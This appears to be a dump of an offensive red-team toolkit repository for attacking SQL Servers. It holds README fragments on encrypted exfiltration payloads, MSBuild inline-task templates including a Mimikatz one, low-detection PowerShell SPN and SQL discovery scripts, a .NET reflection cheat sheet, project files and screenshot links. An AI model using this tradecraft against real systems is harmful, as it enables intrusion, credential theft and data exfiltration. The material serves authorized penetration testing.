The payloads are encrypted by default using a hard coded salt/key. You can use the baked in decryption function to decrypt the payload data on the receiving system. You can also disable encrypted payloads by setting the "enableEncryption" variable to "false", but cleartext data == bad idea.
4. Type "help" for basic instructions.
Todo:
Fix sql data types
Display autosize
44 | |msbuild_template.csproj|This is a basic .csproj template that uses inline tasks from .net code execution|
45 | |msbuild_template_datatable.csproj |This is a basic .csproj template that uses inline tasks from .net code execution and uses datatables for storage and displaying results|
46 | |msbuild_mimikatz.csproj|This one was written by Casey Smith.|
47 |
48 | ## POWERSHELL POST EXPLOITATION SCRIPTS ##
49 |
50 | ### Get-Spn.ps1 ###
51 | * This should return all SPNs for the users and computers in the domain.
52 |
53 | ### Get-SQLQuery.psm1 ###
54 | * This script can be used as an adhoc PowerShell based sql server client. It should work in powershell v2. Consider removing the examples before deployed though.
55 |
56 | This script can be used to query Active directory for a list of SQL Server SPNs as the domain user logged into a domain system. They are intended to be used during red team engagement and should have a smaller detectable footprint than PowerUpSQL.
57 |
58 | ### Get-SpnSql1.ps1 ###
59 | * This does not use any code from PowerUpSQL and is pretty lite wieght.
60 |
61 | ### Get-SpnSql2.ps1 ###
62 | * This uses 3 functions from PowerUpSQL, but all comments have been removed.
63 |
--------------------------------------------------------------------------------
/PStoDotNetCheats.md:
--------------------------------------------------------------------------------
1 | ## PowerShell Reflection Cheatsheet
2 | This is a cheat sheet that shows how to call .Net assembly methods from PowerShell. All examples have been taken from Khai Tran's [blog](https://blog.netspi.com/using-powershell-and-reflection-api-to-invoke-methods-from-net-assemblies/).
3 |
4 | Below are a few code examples that illustrate how to deal with different scenarios:
5 |
6 | * Public Static Class: Call public static method
7 | * Public Static Class: Call private static method
8 | * Public Static Class: Call private static method (function overloading)
9 | * Public Class: Call nonstatic public method
10 | * Public Class: Call nonstatic private method (function overloading)
11 |
12 | ### Public Static Class: Call public static method
13 |
14 |
15 | # Load all .NET binaries in the folder
16 | Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
17 |
18 | #Call public static method
19 | [AesSample.AesLibStatic]::DecryptString("8E3C5A3088CEA26B634CFDA09D13A7DB")
20 |
21 |
22 | ### Public Static Class: Call private static method
23 |
24 |
25 | #Load all .NET binaries in the folder
26 | Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
27 |
28 | #Only retrieve static private method
29 | $BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
30 |
31 | #Load method based on name
32 | $PrivateMethod = [AesSample.AesLibStatic].GetMethod("DecryptStringSecret",$bindingFlags)
33 |
34 | #Invoke
35 | $PrivateMethod.Invoke($null,"8E3C5A3088CEA26B634CFDA09D13A7DB")
36 |
37 |
38 | ### Public Static Class: Call private static method (function overloading)
39 |
40 |
41 |
42 | #Load all .NET binaries in the folder
43 | Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
44 |
45 | #Only retrieve static private method
46 | $BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
47 |
48 | #Search for private method based on name
49 | $PrivateMethods = [AesSample.AesLibStatic].GetMethods($bindingFlags) | Where-Object Name -eq DecryptStringPrivate
50 |
51 | $PrivateMethods | ForEach-Object{
52 | $PrivateMethod=$_
53 | $MethodParams=$PrivateMethod.GetParameters()
54 | $MemberSignature = $MethodParams | Select -First 1 | Select-Object Member
55 | #This will list all the method signatures
56 | $MemberSignature.Member.ToString()
57 |
58 | #Choose the correct method based on parameter list
59 | If ($MemberSignature.Member.ToString() -eq "System.String DecryptStringPrivate(Byte[])"){
60 | [byte[]]$Bytes =@(70,1,65,70,155,197,95,238,85,79,190,34,158,69,125,233,53,212,111,19,248,209,147,180,19,172,150,25,97,41,127,175)
61 | [Object[]] $Params=@(,$Bytes)
62 |
63 | #Call with the right arguments
64 | $PrivateMethod.Invoke($null,$Params)
65 | }
66 | }
67 |
68 |
69 | ### Public class: Call nonstatic public method
70 |
71 |
72 | #Load all .NET binaries in the folder
73 | Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
74 | #Call default constructor (no argument)
75 | $AesSample= New-Object "AesSample.AesLib"
76 | #Call constructor with arguments using this syntax: $AesSample= New-Object "AesSample.AesLib" ("a","b")
77 |
78 | #Invoke public method
79 | $AesSample.DecryptString("8E3C5A3088CEA26B634CFDA09D13A7DB")
80 |
81 |
82 | ### Public class: Call nonstatic private method (function overloading)
83 |
84 |
85 |
86 | # Load all .NET binaries in the folder
87 | Get-ChildItem -recurse "D:\Documents\Visual Studio 2010\Projects\AesSample\AesSample\bin\Debug\"|Where-Object {($_.Extension -EQ ".dll") -or ($_.Extension -eq ".exe")} | ForEach-Object { $AssemblyName=$_.FullName; Try {[Reflection.Assembly]::LoadFile($AssemblyName)} Catch{ "***ERROR*** Not .NET assembly: " + $AssemblyName}}
88 |
89 | # Call constructor
90 | $Instance= New-Object "AesSample.AesLib" ("a","b")
91 |
92 | # Find private nonstatic method. If you want to invoke static private method, replace Instance with Static
93 | $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance"
94 |
95 | $Instance.GetType().GetMethods($BindingFlags) | Where-Object Name -eq DecryptStringPrivate|
96 | ForEach-Object{
97 | $PrivateMethod=$_
98 | $MethodParams=$PrivateMethod.GetParameters()
99 | $MemberSignature = $MethodParams | Select -First 1 | Select-Object Member
100 | $MemberSignature.Member.ToString()
101 | If ($MemberSignature.Member.ToString() -eq "System.String DecryptStringPrivate(Byte[])"){
102 | [byte[]]$Bytes =@(70,1,65,70,155,197,95,238,85,79,190,34,158,69,125,233,53,212,111,19,248,209,147,180,19,172,150,25,97,41,127,175)
103 | [Object[]] $Params=@(,$Bytes)
104 |
105 | # You will need to pass the Instance here instead of $null
106 | $PrivateMethod.Invoke($Instance,$Params)
107 | }
108 | }
109 |
110 |
--------------------------------------------------------------------------------
/esc.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/esc.dll
--------------------------------------------------------------------------------
/esc/esc.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.27703.2047
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "esc", "esc\esc.csproj", "{87FC7EDE-4DAE-4F00-AC77-9C40803E8248}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {87FC7EDE-4DAE-4F00-AC77-9C40803E8248}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {87FC7EDE-4DAE-4F00-AC77-9C40803E8248}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {87FC7EDE-4DAE-4F00-AC77-9C40803E8248}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {87FC7EDE-4DAE-4F00-AC77-9C40803E8248}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {EA8BF5E8-B9D3-4B7C-93E6-58DCF4B60CB1}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/esc/esc/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/esc/esc/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("esc")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("esc")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("87fc7ede-4dae-4f00-ac77-9c40803e8248")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/esc/esc/esc.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {87FC7EDE-4DAE-4F00-AC77-9C40803E8248}
8 | Exe
9 | esc
10 | esc
11 | v4.6.1
12 | 512
13 | true
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
--------------------------------------------------------------------------------
/screenshots/Access-CheckAccess.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Access-CheckAccess.png
--------------------------------------------------------------------------------
/screenshots/Access-CheckDefaultPw.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Access-CheckDefaultPw.png
--------------------------------------------------------------------------------
/screenshots/Access-ShowAccess.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Access-ShowAccess.png
--------------------------------------------------------------------------------
/screenshots/Access-ShowAccess2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Access-ShowAccess2.png
--------------------------------------------------------------------------------
/screenshots/Access-TargetAll.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Access-TargetAll.png
--------------------------------------------------------------------------------
/screenshots/AccessExport1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/AccessExport1.png
--------------------------------------------------------------------------------
/screenshots/AccessExport2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/AccessExport2.png
--------------------------------------------------------------------------------
/screenshots/Discovery-Broadcast.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Discovery-Broadcast.png
--------------------------------------------------------------------------------
/screenshots/Discovery-DomainSPN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Discovery-DomainSPN.png
--------------------------------------------------------------------------------
/screenshots/Discovery-Show.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Discovery-Show.png
--------------------------------------------------------------------------------
/screenshots/FileExfil1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/FileExfil1.png
--------------------------------------------------------------------------------
/screenshots/FileExfil2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/FileExfil2.png
--------------------------------------------------------------------------------
/screenshots/FileExfil3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/FileExfil3.png
--------------------------------------------------------------------------------
/screenshots/IcmpExfil1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/IcmpExfil1.png
--------------------------------------------------------------------------------
/screenshots/IcmpExfil12.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/IcmpExfil12.png
--------------------------------------------------------------------------------
/screenshots/IcmpExfil3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/IcmpExfil3.png
--------------------------------------------------------------------------------
/screenshots/LoginAsPw1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/LoginAsPw1.png
--------------------------------------------------------------------------------
/screenshots/LoginAsPw2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/LoginAsPw2.png
--------------------------------------------------------------------------------
/screenshots/RunOsCmd1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/RunOsCmd1.png
--------------------------------------------------------------------------------
/screenshots/Target-Instance1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Target-Instance1.png
--------------------------------------------------------------------------------
/screenshots/Target-Instance2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Target-Instance2.png
--------------------------------------------------------------------------------
/screenshots/Target-Instance3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Target-Instance3.png
--------------------------------------------------------------------------------
/screenshots/esc-execute-via-appdomain-hijack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/esc-execute-via-appdomain-hijack.png
--------------------------------------------------------------------------------
/screenshots/esc-execute-via-appdomain-hijack2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/esc-execute-via-appdomain-hijack2.png
--------------------------------------------------------------------------------
/screenshots/esc-execute-via-appdomain-hijack3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/esc-execute-via-appdomain-hijack3.png
--------------------------------------------------------------------------------
/screenshots/esc-execute-via-appdomain-hijack4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/esc-execute-via-appdomain-hijack4.png
--------------------------------------------------------------------------------
/screenshots/esc-logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/esc-logo.png
--------------------------------------------------------------------------------
/screenshots/start-esc-compile-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/start-esc-compile-1.png
--------------------------------------------------------------------------------
/screenshots/start-esc-compile-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/start-esc-compile-2.png
--------------------------------------------------------------------------------
/screenshots/start-esc-msbuild-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/start-esc-msbuild-1.png
--------------------------------------------------------------------------------
/screenshots/start-esc-msbuild-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/start-esc-msbuild-2.png
--------------------------------------------------------------------------------